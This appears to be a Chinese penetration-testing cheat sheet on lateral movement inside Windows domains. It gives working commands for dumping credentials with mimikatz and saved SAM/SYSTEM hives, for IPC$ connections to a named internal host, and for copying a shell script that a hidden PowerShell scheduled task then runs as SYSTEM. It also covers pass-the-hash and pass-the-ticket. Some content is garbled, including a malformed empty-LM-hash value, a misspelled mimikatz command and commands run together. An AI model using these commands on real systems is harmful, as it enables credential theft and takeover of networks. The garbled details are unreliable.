内网横向
1 LM/NTML HASH
1.1 哈希加密
Windows通常使用LM哈希和NTML哈希两种方法对用户的明文密码进行加密,在域环境中用户信息存储在ntds.dit中。
在Windows操作系统中哈希的结构通常如下:
username:RID:LM-HASH:NT-HASH
从WIndows vista和WindowsServer2008、个人版WindowsServer2003开始默认禁用了LM-HASH。
LM-HASH限定其明文密码在14位以内,所以将密码设置位14位以上即可停用LM-HASH,此时通过工具抓取到的LMHASH通常为:
ad3b435b51404eead3b435b5140433
#表示LMHASH为空或禁用
1.2 LM-HASH原理
- 将明文转换为大写格式。
- 将大写的字符串转换为16进制。
- 密码不足14字节的用00在低位补全。1Byte=8bit
- 从中间分开成两组,每组7字节。
- 将每一组7字节的16进制转换为2进制,每7bit分成1组并在末尾加0,再转换成16进制,得到2组8字节码。
- 将2组编码分别做DES加密,key为字符串
KGS!@#$% - 2组加密后的编码合成为最终结果。
1.3 NTLM-HASH原理
- 将明文口令转换成16进制格式。
- 将转换后的编码转换成Unicode格式,即在每个字节后添加0x00。
- 对Unicode字符串作MD4加密,生成32为的16进制数字串,即为结果。
2 HASH抓取
2.1 getpass
2.2 pwdump
官网下载(Windows PWDUMP tools (openwall.com))
需要使用管理员权限运行
2.3 mimikatz
GitHub - gentilkiwi/mimikatz: A little tool to play with Windows security
#提升权限
privilege::debug
#抓取密码
sekurlsa::logonpasswords
#导出SAM数据
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
#使用mimikatz提取hash
lsadump::sam /sam:SAM /system:SYSTEM
[参考后渗透]Mimikatz使用大全 - 肖洋肖恩、 - 博客园 (cnblogs.com)
3 IPC$横向
IPC(Internet Process Connection)共享命名管道的资源,为实现进程间通信而开放的。可通过验证用户名密码的方式获得相应的权限。
3.1 建立一个IPC$
net use \\192.168.41.99(这其实是同域内OA的IP)\ipc$ "密码" /user:administrator
#开启连接
net use
3.2 IPC$利用条件
- 被访问的主机开启了139、445端口
- 管理员开启了默认共享
3.3 利用方式
前提:执行
net use成功
dir
#查看目标机的指定路径 dir \\192.168.41.99\C$tasklist
#查看目标机的进程 tasklist /s 192.168.41.99-schtasks
#查看时间信息(方便开启计划任务) net time \\192.168.41.99 #复制文件 copy 本地文件 远端文件 copy c:\shell.ps1 \\192.168.41.99\C$ #查看目标机的路径下是否有上传的文件 dir \\192.168.41.99\C$#创建计划任务 schtasks /create /s 192.168.41.99 /tn test /sc onstart /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\Users\Administrator\Desktop\keep\shell.ps1" /ru system /f#执行计划任务 schtasks /run /s IP地址 /i /tn "计划任务名"用Kali开启msf监听即可
清除任务
#清除计划任务
schtasks /delete /s 192.168.41.99 /tn "test" /f
#清除软连接
net use \\192.168.41.99 /del /y
4 HASH和票据传递
4.1 PTH攻击(Pass The Hash)
首先获取用户名和密码的NTLM值,同时需要有本地管理员权限。
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:hack.com
/ntlm:33b89cf1674c1378a9cbf91de7189a7c"
4.2 票据传递PTT(Pass The Ticket)
获取票据文件
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"清除内存中的票据
kerberos::pruge将高权限的票据文件注入内存
mimikatz.exe "kerberos::ptt" "票据文件全名含路径" #举例: mimikatz.exe "kerberos::ptt" "[0;804ad]2060a10000Administrator@ krbtgtHACK. COM.kirbi"